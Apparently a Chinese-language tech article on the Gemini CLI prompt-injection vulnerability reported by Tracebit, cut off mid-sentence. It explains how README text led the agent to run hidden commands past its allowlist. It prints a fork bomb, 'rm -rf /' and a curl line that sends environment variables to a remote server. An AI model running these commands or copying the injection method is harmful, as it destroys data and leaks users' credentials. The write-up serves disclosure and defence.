Gemini CLI 漏洞揭秘:AI 编码工具的潜在风险与防范策略

1

近年来,人工智能(AI)技术在软件开发领域的应用日益广泛,各种 AI 编码工具层出不穷。这些工具旨在提高开发效率、降低开发成本,但同时也带来了新的安全风险。2025 年 7 月,安全研究人员发现 Google 的 Gemini CLI 编码工具存在严重漏洞,攻击者可利用该漏洞在用户设备上执行恶意命令,窃取敏感数据。这一事件再次敲响了 AI 编码工具安全性的警钟。

Gemini CLI 漏洞事件回顾

Gemini CLI 是 Google 开发的一款免费、开源的 AI 编码工具,旨在帮助开发者在终端环境中编写代码。它与 Gemini 2.5 Pro 模型集成,能够进行代码生成和模拟推理。与 Gemini Code Assist 不同,Gemini CLI 直接在终端窗口中创建或修改代码,为开发者提供了一种全新的“氛围编码”体验。

然而,这款看似强大的工具却存在着安全漏洞。Tracebit 公司的研究人员在 Gemini CLI 发布后不到 48 小时内,就发现了一种可以绕过内置安全控制的攻击方法。攻击者只需诱导用户执行以下两个步骤,即可利用该漏洞:

  1. 指示 Gemini CLI 描述由攻击者创建的恶意代码包。
  2. 将一个看似无害的命令添加到允许列表中。

恶意代码包的外观与 NPM、PyPI 或 GitHub 等代码仓库中常见的其他代码包并无二致。这些仓库经常托管由供应链攻击中的威胁者上传的恶意代码。该代码包中的代码本身也是良性的。唯一的恶意痕迹隐藏在 README.md 文件中的一些自然语言句子中。README.md 文件通常包含关于代码包的目的、范围和要求的基本信息。

研究人员巧妙地将 prompt injection(提示注入)攻击隐藏在 README.md 文件中。Prompt injection 是一种新兴的 AI 攻击方式,对 AI 聊天机器人的安全构成重大威胁。开发者通常只会快速浏览这些文件,因此很难注意到其中的恶意代码。然而,Gemini CLI 却会仔细读取并理解整个文件。

README 文件中的两行自然语言利用了一系列漏洞,这些漏洞串联在一起会导致开发者工具在用户命令行窗口中静默输入命令。这些命令会导致开发者的设备连接到攻击者控制的服务器,并将设备的环境变量传递出去。环境变量包含各种系统设置,通常包括帐户凭据。未经明确许可,Gemini 不应执行这些操作。

Tracebit 的创始人兼 CTO Sam Cox 表示,他为了演示目的,特意限制了静默执行命令的严重性,因为该命令的输出足够简洁,可以显示在几行上。他表示,他的漏洞可以执行几乎任何命令,甚至是不可逆转的、具有高度破坏性的命令,例如 rm -rf /:(){ :|:& };:。第一个命令会删除磁盘驱动器上的所有文件和文件夹,且无法恢复。第二个命令,即 forkbomb,是一种拒绝服务攻击,它使用名为 forks 的 Unix 系统调用来消耗越来越多的 CPU 资源,直到系统崩溃。

Cox 强调了该漏洞的严重性,指出相同的技术可用于删除文件、执行 forkbomb 攻击,甚至是安装远程 shell,从而使攻击者能够远程控制用户的机器。

为了应对这一威胁,Google 发布了一个修复程序,阻止了该技术。Google 将该修复程序和漏洞分类为优先级 1 和严重性 1,这表明该公司认识到,如果该漏洞在野外被恶意利用,可能会造成严重后果。

漏洞利用原理分析

1. Prompt Injection(提示注入)攻击

Prompt injection 是一种针对 AI 聊天机器人的常见攻击方式。攻击者通过在输入中注入恶意提示,诱导 AI 模型执行非预期操作。在这种情况下,攻击者将恶意提示隐藏在 README.md 文件中,诱使 Gemini CLI 执行恶意命令。

2. 不当的输入验证

Gemini CLI 默认情况下应该阻止命令的调用,除非用户给出明确的许可。用户可以实时授予权限,也可以将某些命令添加到允许列表中,以便每次调用这些命令时都可以执行它们。然而,Gemini CLI 在验证用户输入时存在缺陷,导致攻击者可以绕过安全限制。

3. 误导性的用户界面

为了防止用户注意到恶意命令的执行,攻击者在命令行中添加了大量的空格,从而突出显示了 grep 命令,并将后面的恶意命令隐藏起来。这种误导性的用户界面使得用户难以察觉潜在的风险。

具体来说,攻击者利用了以下命令:

grep install README.md; ; env | curl --silent -X POST --data-binary @- http://remote.server:8083

该命令首先使用 grep 命令在 README.md 文件中搜索包含